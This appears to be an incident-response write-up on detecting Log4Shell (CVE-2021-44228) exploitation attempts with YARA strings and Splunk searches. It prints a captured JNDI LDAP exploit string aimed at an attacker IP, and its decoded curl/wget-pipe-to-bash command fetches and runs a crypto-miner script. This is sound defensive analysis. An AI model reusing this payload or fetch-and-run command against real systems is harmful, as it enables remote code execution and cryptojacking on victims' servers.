CVE-2021-44228 DFIR Notes# CVE-2021-44228 DFIR-Notes
Driving home I got my first messages flowing in about the #log4shell vulnerability.
A high severity vulnerability (CVE-2021-44228) impacting multiple versions of the Apache Log4j 2 utility was disclosed publicly via the project's GitHub on December 9, 2021. This vulnerability, which was discovered by Chen Zhaojun of Alibaba Cloud Security Team, impacts Apache Log4j 2 versions 2.0 to 2.14.1
Dove right in when I got home. Splunk4tw as usual.
After the first proof-of-concept exploit was published on GitHub, threat actors began scanning the Internet for systems vulnerable to this remotely exploitable security flaw that doesn't require authentication. What you will see below are part of those scanning and exploit attempts.
My first goto is to see if somebody has put out an initial YARA rule.
Found it here https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b (Thx Florian Roth)
It mentions the following for detection strings:
<code>
strings:
$x1 = "${jndi:ldap:/"
$x2 = "${jndi:rmi:/"
$x3 = "${jndi:ldaps:/"
$x4 = "${jndi:dns:/"
</code>
I'm not scared.....lets abuse some CPU's and go straight fo the kill with the worst Splunk search.
<code>
index=* jndi:ldap* (updated query with index=* "{lower:l}${lower:d}a${lower:p}")
</code>
I have some hits in both my iis logs and windows eventlogging (redacted) and a lot of blocked attempts on the firewall logging....
IIS:
WINEVENTLOG:
Checking the IP address 45.155.205.233.....St Petersburg,Russia.....what a surprise.
The found string looks like a classic textbook obfuscated encoded malicious string.
Let's see what it does:
Lets decode the Base64 string using cyberchef
<code>
2021-12-10 13:26:16 [redacted] GET / - 443 - xxx.xx.xxx.xx ${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNDUuMzUuMTk1LjYzOjgwfHx3Z2V0IC1xIC1PLSA0NS4xNTUuMjA1LjIzMzo1ODc0LzE0NS4zNS4xOTUuNjM6ODApfGJhc2g=} http://[redacted]:80/ 200 0 0 171 </code>
(curl -s 45.155.xx.233:xxxx/145.xx.195.63:80||wget -q -O- 45.xx.205.233:xxxx/145.xx.xxx.63:80)|bash
Curl...run a shell script, bash....OMG. I start to have an idea what this nasty piece of work will do....
Let's run the curl command in a sandbox:
368 lines of code.
(run it here is you want to look at the whole script --> https://reqbin.com/c-ipejxywd
Some snippets:
And after it is done it even clears the log files...what a surprise:
It basically tries to install Malware called Kingsin which is a Crypto Miner. Targets are nix systems.
Make sure you patch your systems as the exploit will be used to run all sorts of payloads probably.
Thanks to my coworkers Martijn from Umbrio and Rob [redacted] for an Friday evening of whatsapp sparring about this.
00:09 time for bed.
#UPDATES & good Resources#
- https://www.splunk.com/en_us/blog/security/log-jammin-log4j-2-rce.html
- https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-44228
[4.0K] /data/pocs/9e3932c7bc1c49b47b1d39a03d16336dfd3111a2
├── [3.4K] CVE-2021-44228_Splunk_Searches
└── [4.2K] README.md
0 directories, 2 files